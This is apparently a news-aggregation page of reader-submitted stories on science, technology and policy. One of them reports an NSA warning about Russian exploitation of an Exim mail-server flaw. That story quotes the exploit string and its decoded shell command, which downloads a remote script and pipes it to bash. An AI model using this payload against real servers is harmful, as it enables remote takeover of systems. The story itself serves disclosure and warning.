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Arthur T Knackerbracket has found the following story:

The last of six tiny satellites that were rocketed into space 14 years ago—and then went on to prove that the wealth of accurate atmospheric data that can be gleaned from existing GPS signals can improve operational weather forecasts—was officially decommissioned on May 1, outliving its original planned lifespan by a dozen years.

The first Constellation Observing System for Meteorology, Ionosphere, and Climate (COSMIC) mission, launched in 2006, used a technique known as radio occultation to derive vertical atmospheric profiles of temperature, humidity, and pressure by measuring the degree to which GPS signals bend as they travel through Earth's atmosphere. The resulting flood of high-quality, extremely accurate data was provided to weather centers to improve forecasts and to research institutions for use in scientific studies.

Throughout its lifetime, COSMIC-1 made an astounding 7 million vertical atmospheric profiles available to the operational forecast centers and research community. These data demonstrably boosted forecast accuracy and were referenced in more than 550 peer-reviewed scientific publications. In all, more than 5,000 users from over 100 countries have accessed COSMIC data.

A follow-on project COSMIC-2 (also known as FORMOSAT-7) is already operational.

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RandomFactor writes:

Cornell professor of food science engineering Syed Rizvi and Michael E. Wagner, Ph.D. have received a patent on a process for producing Ice Cream instantly (within 3 seconds).

In the traditional method of making ice cream, the dairy-based mix flows through a heat-exchanging barrel, where ice crystals form and get scraped by blades.

With this new method, highly pressurized carbon dioxide passes over a nozzle that, in turn, creates a vacuum to draw in the liquid ice cream. When carbon dioxide goes from a high pressure to a lower pressure, it cools the mixture to about minus 70 degrees C – freezing the mixture into ice cream, which jets out of another nozzle into a bowl, ready to eat.

Instant ice cream can be served right on the spot, all without the challenges of commercial transportation “cold chains,” in which the product must be frozen and maintained at minus 20 degrees Celsius. To guard against failing spots in the cold-temperature transportation chain, commercial ice cream makers add stabilizers and emulsifiers.

The cold chain is energy intensive, making the new process desirable from an energy and cost perspective, as well as reducing undesirable additives.

Cornell is currently exploring licensing opportunities.

The patent "Process and apparatus for rapid freezing of consumable and non-consumable products using the expansion of dense gas " is available on-line.

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takyon writes:

Waymo's robot minivans are ready to roll in the Bay Area for the first time since COVID-19 outbreak

Waymo's self-driving cars are returning to Bay Area roads for the first time since the company halted its public testing in early March because of the coronavirus outbreak. The Alphabet-owned company plans to return its fleet of autonomous minivans to service starting June 8th, according to an email obtained by The Verge.

Waymo's self-driving cars will be put to use delivering packages for two Bay Area non-profits: illustrator Wendy McNaughton's #DrawTogether, which provides art kits to Bay Area kids; and Lighthouse for the Blind and Visually Impaired.

The company is the latest autonomous vehicle operator to discover that doing deliveries allows it to sidestep restrictions that would otherwise require them to keep their autonomous vehicles off the road. Waymo, along with the rest of California's AV companies, paused on-road testing in mid-March after the city issued a "shelter-in-place" order banning all nonessential travel. That order does not have a set end date.

Waymo's robot minivans are already back on the road in the Phoenix area, as well as the company's private test facility in California's Central Valley.

Previously: Waymo Orders Thousands More Chrysler Pacifica Minivans for Driverless Fleet
Waymo Finally Let a Reporter Ride in a Fully Driverless Car
Waymo Drivers vs. Coronavirus

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takyon writes:

135-year-long streak is over: US renewable sources topped coal in 2019

Two weeks ago, we covered a US Energy Information Administration (EIA) projection that renewable wind, solar, and hydroelectric power would top coal for total electricity generation in 2020. That was particularly believable given that renewables had beat coal in daily generation every day going back to March 24. As it happens, that daily streak finally came to an end this week, as coal picked up amid rising demand and a couple low days for wind. Coal likely topped renewables on Tuesday, although it's possible that rooftop solar generation (not included in EIA's daily data) extended the run until Wednesday.

But the EIA also released some numbers Thursday that highlight a related and interesting piece of trivia: if you include energy use beyond the electric sector and all types of renewable energy, renewables actually beat out coal last year. And to find the last time that was true, you have to go all the way back to the 1880s.

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Phoenix666 writes:

Phys.org:

More than 1000 feral buffalo and unmanaged cattle roaming Northern Australia will be tagged and tracked as part of the world's largest satellite herd-tracking program, announced today by Australia's national science agency, CSIRO.

Coinciding with National Reconciliation Week this week, the $4 million, 3.5 year project aims to turn the destructive pests into economic, environmental and cultural opportunities for Indigenous communities across the region, as well as create new 'best practice' for managing large herds using space technology.
...
The animals will be tracked across a combined area of 22,314 square kilometres, taking in the Arafura swamp catchment in Arnhem Land in the Northern Territory, and Upper Normanby and Archer River on Cape York Peninsula in Queensland.

Well, that takes care of the burgers. What about the beer?

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upstart writes in with an IRC submission:

NASA Supercomputers Power COVID-19 Research:

NASA has joined a consortium of institutions that is pairing up supercomputing resources with proposals for using high-end computing power for COVID-19 studies. The effort was organized by the White House Office of Science and Technology Policy and includes industry partners IBM, Hewlett Packard Enterprise, Amazon, Microsoft and others, as well as the Department of Energy's National Labs, the National Science Foundation, and many universities. The consortium is supporting 64 projects and is open to new proposals. To date, four projects have been matched to NASA.

"This is not NASA's normal work, but we have the supercomputers and the expertise to help researchers working on COVID-19 get the most out the supercomputing power," said Tsengdar Lee, program manager for NASA's High End Computing Program at NASA Headquarters in Washington, D.C.

Supercomputers are suited for processing large amounts of data. For NASA's usual projects this means simulating the movements of air masses and water around the planet to study Earth's climate, hunting for exoplanets, studying the behavior of black holes, or designing aeronautic or aerospace vehicles. Each piece of these very large puzzles is guided by certain physical and chemical laws in their interactions and relationships with other components. Zooming in to the atomic level to study the coronavirus is no different. Each molecule and cell moves and reacts based on physics and chemistry, which makes simulation a powerful tool for understanding the coronavirus.

"This is work we are pleased to support," said Piyush Mehrotra, division chief of the NASA Advanced Supercomputing Division at Ames. "Our team will do whatever it takes to support the research projects so that we can understand and fight this disease as quickly as possible."

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takyon writes:

Microsoft 'to replace journalists with robots'

Microsoft is to replace dozens of contract journalists on its MSN website and use automated systems to select news stories, US and UK media report. The curating of stories from news organisations and selection of headlines and pictures for the MSN site is currently done by journalists. Artificial intelligence will perform these news production tasks, sources told the Seattle Times.

Microsoft said it was part of an evaluation of its business. The US tech giant said in a statement: "Like all companies, we evaluate our business on a regular basis. This can result in increased investment in some places and, from time to time, redeployment in others. These decisions are not the result of the current pandemic."

[...] Around 50 contract news producers will lose their jobs at the end of June, the Seattle Times reports, but a team of full-time journalists will remain.

Microsoft sacks journalists to replace them with robots

One staff member who worked on the team said: "I spend all my time reading about how automation and AI is going to take all our jobs, and here I am – AI has taken my job."

Also at Business Insider, The Verge, GeekWire, and MSPoweruser.

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martyb writes:

Astronomers detect biggest explosion in the history of the Universe - ICRAR

Scientists studying a distant galaxy cluster have discovered the biggest explosion seen in the Universe since the Big Bang.

[...] It released five times more energy than the previous record holder.

Professor Melanie Johnston-Hollitt, from the Curtin University node of the International Centre for Radio Astronomy Research, said the event was extraordinarily energetic.

"We've seen outbursts in the centres of galaxies before but this one is really, really massive," she said.

"And we don't know why it's so big.

"But it happened very slowly—like an explosion in slow motion that took place over hundreds of millions of years."

The explosion occurred in the Ophiuchus galaxy cluster, about 390 million light-years from Earth.

It was so powerful it punched a cavity in the cluster plasma—the super-hot gas surrounding the black hole.

Lead author of the study Dr Simona Giacintucci, from the Naval Research Laboratory in the United States, said the blast was similar to the 1980 eruption of Mount St. Helens, which ripped the top off the mountain.

"The difference is that you could fit 15 Milky Way galaxies in a row into the crater this eruption punched into the cluster's hot gas," she said.

[...] The discovery was made using four telescopes; NASA's Chandra X-ray Observatory, ESA's XMM-Newton, the Murchison Widefield Array (MWA) in Western Australia and the Giant Metrewave Radio Telescope (GMRT) in India.

Journal Reference:
Giacintucci, S., Markevitch, M., Johnston-Hollitt, M., et al. Discovery of a giant radio fossil in the Ophiuchus galaxy cluster, (DOI: 10.3847/1538-4357/ab6a9d)

With apologies to Marvin the Martian:

Earth-shattering kaboom? Nope, that's not it.

Sun-shattering kaboom? Think larger.

Galaxy-shattering kaboom? Still way too small.

Galaxy-Cluster-shattering Kaboom! Now you've got it!

Don't Panic!

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takyon writes:

Border Patrol flies anti-terrorism drone over Minneapolis protestors

Thousands of people took to the streets of Minneapolis on Friday to protest the death of George Floyd, a local black man who died after a white police officer knelt on his neck during an arrest. All the while, a Customs and Border Patrol drone kept a careful eye on the unfolding unrest.

The drone, using the tracking signal CBP104, took off from Grand Forks Airforce Base at 9:08 am Central Daylight Time and shortly afterward headed directly to Minneapolis, this feed from live flight tracking service FlightAware showed. The drone then circled the city six times from about 10:45 until noon. The aircraft maintained an altitude of about 20,000 feet.

Grand Forks AFB is the home of the Air Force's 319th Reconnaissance Wing. It is also a site Customs and Border Patrol personnel use for takeoff and landing of the Predator B unmanned aircraft system. CBP uses the drone in anti-terrorism operations by helping to identify and intercept potential terrorists and illegal cross-border activity.

Also at The Drive and Business Insider.

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Phoenix666 writes:

Al Jazeera:

In 1997, the inhabitants of the tiny Hebridean Isle of Eigg finally succeeded in taking collective control of their island. Tensions had been running high for years: everything from the islanders' homes to their jobs to their electricity supply depended on the whims of the wealthy businessman who owned it. Sick of putting up with crumbling buildings while he took rich friends for picnics and jaunts in his Rolls Royce, they launched what today would be called a crowdfunder, and eventually raised enough money to buy him out.

[...] Today, Eigg is thriving. A community housing association has refurbished the islanders' homes and made rents more affordable. The island is 95 percent powered by community-owned renewables, giving islanders 24-hour electricity for the first time. The landscape, previously scarred by damaging spruce tree plantations, has been restored. There is even a community-owned broadband network. Decisions about the island's future are made democratically by the trust that owns it on behalf of all who live there.

Can collective ownership work in the rest of the UK?

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upstart writes in with an IRC submission:

Cisco security breach hits corporate servers that ran unpatched software:

Six servers Cisco uses to provide a virtual networking service were compromised by hackers who exploited critical flaws contained in unpatched versions the open source software service relies on, the company disclosed on Thursday.

The May 7 compromise hit six Cisco servers that provide backend connectivity to the Virtual Internet Routing Lab Personal Edition (VIRL-PE), a Cisco service that lets customers design and test network topologies without having to deploy actual equipment. Both the VIRL-PE and a related service, Cisco Modeling Labs Corporate Edition, incorporate the Salt management framework, which contained a pair of bugs that, when combined, was critical. The vulnerabilities became public on April 30.

[...] Cisco said that without updates, any VIRL-PE or CML products that are deployed in standalone or cluster configurations will remain vulnerable to the same sorts of compromises. The company released software updates for the two vulnerable products. Cisco rated the severity of the vulnerabilities with a ranking of 10 out of 10 on the CVSS scale.

The Salt vulnerabilities are CVE-2020-11651, an authentication bypass, and CVE-2020-11652, a directory traversal. Together, they allow unauthorized access to the entire file system of the master salt server that services using Salt rely on. F-Secure, the firm that discovered the vulnerabilities, has a good description of them here.

Salt is described as "Software to automate the management and configuration of any infrastructure or application at scale."

Additional Info: https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/

Previously:
(2020-05-04) Recent Salt Vulnerabilities Exploited to Hack LineageOS, Ghost, DigiCert Servers

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upstart writes in with an IRC submission:

Don't Update Your TI-83 or TI-84 Calculator's Firmware:

It's weird to think about using a calculator in 2020, when just about everyone has a smartphone or laptop within reach, but Texas Instruments' calculators are still a popular (and often required) resource for students. The latest calculators are even capable of installing and running simple applications, which makes them an excellent learning tool for coders and hardware modders. (I even modded my TI calculator to run respectable facsimiles of Doom and Super Mario back in college.)

Unfortunately, Texas Instrument is removing support of the C assembly coding language in a new firmware update to crack down on cheating. And that means a lot of homebrew programs are either going to go away entirely or have to be converted to a much slower Python version—if that's even plausible.

The update affects the TI-84 Plus CE, TI-83 Plus CE-T, and the TI-83 Premium CE calculators. Texas Instruments says it's implementing the change to stop students from installing third-party software that circumvents the "exam mode" limitation on certain TI devices. Exam mode is designed to restrict certain functionality so students can complete their work without the help of extra features—cheating, basically.

[...] That said, TI-83 and TI-84 calculator firmware must be manually downloaded to your PC and updated over USB, so users who want to remain on the older version can do so by simply not installing the new firmware—but that's your only option.

What was the most interesting thing you created that ran on a calculator?

See also: TI removes access to assembly programs on the TI-83 Premium CE

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[20200530_203823 UTC: UPDATE: Launch was successful, all systems nominal, first stage successfully landed on the drone ship "Of Course I Still Love You", and Ben and Doug are on their 19-hour flight to the ISS (International Space Station). Live coverage continues all the way through docking.]

martyb writes:

Today's the day— weather permitting, America is returning to space:

During Wednesday's technically smooth countdown, NASA astronauts Doug Hurley and Bob Behnken came within 17 minutes of launching before a scrub due to poor weather. Now the crew will suit up and try again on Saturday despite still iffy weather.

SpaceX is working toward an instantaneous launch at 3:22pm ET (19:22 UTC). The big concern again today is the development of thunderstorms near the launch site this afternoon, which could violate a number of weather criteria, including not just precipitation, but also residual electric energy from lighting in the atmosphere. Overall, the chance of acceptable weather at launch time is about 50 percent, forecasters estimate. They are also watching for down-range conditions in case an emergency abort is required during the rocket's ascent to space.

This is nothing new for NASA or U.S. human spaceflight. As the commander, Hurley, noted on Twitter Friday that his first space mission in 2009 scrubbed five times for weather or technical issues before it finally lifted off. "All launch commit criteria is developed way ahead of any attempt," Hurley said. "This makes the correct scrub or launch decision easier in the heat of the moment."

It has been such a long, long road for NASA and SpaceX to reach this moment—thousands of engineers and technicians have labored to design, develop, test, and fly hardware for the Dragon spacecraft and Falcon 9 rocket over the last decade. But now the hardware and crew are ready, and at just the right time, to go fly.

[...] A combined NASA and SpaceX webcast will begin today at 11am ET (15:00 UTC).

Launch is scheduled for exactly 2 hours from the time this story goes live.

You can also join the discussion on channel #Soylent on IRC (Internet Relay Chat).

upstart writes in with an IRC submission:

It's not every day the NSA publicly warns of attacks by Kremlin hackers – so take this critical Exim flaw seriously:

The NSA has raised the alarm over what it says is Russia's active exploitation of a remote-code execution flaw in Exim for which a patch exists.

The American surveillance super-agency said [PDF] on Thursday the Kremlin's military intelligence hackers are actively targeting some systems vulnerable to CVE-2019-10149, a security hole in the widely used Exim mail transfer agent (MTA) that was fixed last June.

Here's a sample of Moscow's exploit code, according to the NSA, which is sent to a vulnerable server to hijack it – we've censored parts of it to avoid tripping any filters:

MAIL FROM:${run{\x2Fbin\x2Fsh\t- c\t\x22exec\x20\x2Fusr\x2Fbin\x2Fwget\x20\x2DO\x20\x2D\x20hxxp\:\x2F\x2F\hostapp.be\x2Fscript1.sh\x20\x7C\x20bash\x22}}@hostapp.be That hexadecimal decodes to: /bin/sh -c "exec /usr/bin/wget -O - hxxp://hostapp.be/script1.sh | bash"

"The Russian actors, part of the General Staff Main Intelligence Directorate's (GRU) Main Center for Special Technologies (GTsST), have used this exploit to add privileged users, disable network security settings, execute additional scripts for further network exploitation; pretty much any attacker's dream access – as long as that network is using an unpatched version of Exim MTA," the NSA said.

In this case, miscreants, linked to the military-backed Sandworm operation, exploit improper validation of the recipient's address in Exim's deliver_message() function in /src/deliver.c to inject and execute a shell command, which downloads and runs another script to commandeer the server. An in-depth technical description of the programming blunder can be found here by Qualys, which found and reported the flaw last year.

Because Exim is widely used on millions of Linux and Unix servers for mail, bugs in the MTA are by nature public-facing and pose an attractive target for hackers of all nations.

The NSA did not say who exactly was being targeted, though we can imagine the Russian military takes an interest in probing foreign government agencies and vital industries. GRU hackers have also previously targeted energy utilities, by some reports.

Previously: 400,000 Servers Using Exim May be at Risk of Serious Code-Execution Attacks

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takyon writes:

Western Digital gets sued for sneaking SMR disks into its NAS channel

All three of the surviving conventional hard drive vendors—Toshiba, Western Digital, and Seagate—have gotten caught sneaking disks featuring Shingled Magnetic Recording technology into unexpected places recently. But Western Digital has been the most brazen of the three, and it's been singled out for a class action lawsuit in response.

Although all three major manufacturers quietly added SMR disks to their desktop hard drive line-up, Western Digital is the only one so far to slip them into its NAS (Network Attached Storage) stack. NAS drives are expected to perform well in RAID and other multiple disk arrays, whether ZFS pools or consumer devices like Synology or Netgear NAS appliances.

In sharp contrast to Western Digital's position on SMR disks as NAS, Seagate executive Greg Belloni told us that there weren't any SMR disks in the Ironwolf (competitor to Western Digital Red) line-up now and that the technology is not appropriate for that purpose.

[...] Hattis Law has initiated a class action lawsuit against Western Digital, accordingly. The lawsuit alleges both that the SMR technology in the newer Western Digital Red drives is inappropriate for the marketed purpose of the drives and that Western Digital deliberately "deceived and harm[ed] consumers" in the course of doing so.

Previously: AnandTech Interview With Seagate's CTO: New HDD Technologies Coming
Western Digital: Over Half of Data Center HDDs Will Use SMR by 2023
Seagate Caught Using SMR in Barracuda Compute and Desktop Drives

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